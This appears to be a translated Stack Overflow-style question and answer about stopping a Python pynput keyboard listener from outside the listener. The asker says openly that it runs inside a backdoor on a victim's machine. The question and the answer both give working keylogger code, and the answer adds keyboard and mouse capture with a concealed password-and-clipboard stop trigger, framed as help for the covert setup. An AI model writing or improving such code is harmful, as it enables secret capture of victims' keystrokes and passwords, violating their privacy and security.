Pynput从“外部”停止侦听器

时间:2018-11-16 13:42:34

标签: python pynput

我打开了一个后门,并在其中使用了键盘记录程序。 我使用了Pynput库,我想知道是否可以从外部函数或主循环中停止Pynput侦听器。

这是一个代码段:

class KeyLoggerThread(threading.Thread):
    global Quit
    def __init__(self):
        super().__init__()

    def run(self):
        logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
        def on_press(key):
            logging.debug(str(key))
            if key == Key.esc:
                return False
        with Listener(on_press = on_press) as listener:
            listener.join()

现在,由于必须在我的后门中使用该键盘记录程序,因此我不得不使用esc键不是很实际,因此当受害者按esc键时,它会退出键盘记录程序。 我真正想要的是每当我要停止信号时发送信号(而不是从钥匙发出)。 在此先感谢您,祝您愉快!

1 个答案:

答案 0 :(得分:0)

您谈论的是键盘记录器...是的,如果您想要一个信号但不想要按键,则可以购买一个遥控器:))

在此示例代码中,我对密码进行了3种组合操作,以防止错误地关闭监听器事件。

按住鼠标中键/滚轮,写一个词,例如: @admin (点击关键字符),然后使您复制一些文本……PS。我不知道很多人会用鼠标在键盘上写东西,同时握住滑鼠,这只是一个例子,要有创造力。

#// IMPORTS
import pyperclip
from pynput import keyboard, mouse

keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you 
#           released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
#           are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
#           and after you finish to write manual String_1
password = [False, "@dmin", ">> Double $$$ check! <<"]
pass_type = ""

class Keylogger:
    def __init__(self):
        Keylogger.Keyboard.Listener()
        Keylogger.Mouse.Listener()
        
    class Keyboard:
        def Press(key):
            if keylogger_stop == True: return False
            else: print(f"K_K_P: {key}")
        
        def Release(key):
            global pass_type, keylogger_stop
            # get copyed string + holding right mouse button pressed
            if password[0] == True and pass_type == password[1]:
                if pyperclip.paste().strip() == password[2]: keylogger_stop = True
                else: password[0] = False; pass_type = ""
            # write string password/word + holding right mouse button pressed
            elif password[0] == True:
                try: pass_type += key.char; print(pass_type, password[0])
                except: pass
                
            else: print(f"K_K_R: {key}")
        
        def Listener():
            l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
                                  on_release =  Keylogger.Keyboard.Release)
            l.start()

    class Mouse:
        def Click(x, y, b, p):
            global pass_type
            
            if keylogger_stop == True: return False

            # hold mouse button pressed, on release will reset the progress
            elif b == mouse.Button.middle:
                if p == True: password[0] = True
                else: password[0] = False; pass_type = ""
            else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
        
        def Listener():
            mouse.Listener(on_click = Keylogger.Mouse.Click).start()

class Main:
    def __init__(self):
        Keylogger()
    
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__": 
    Main()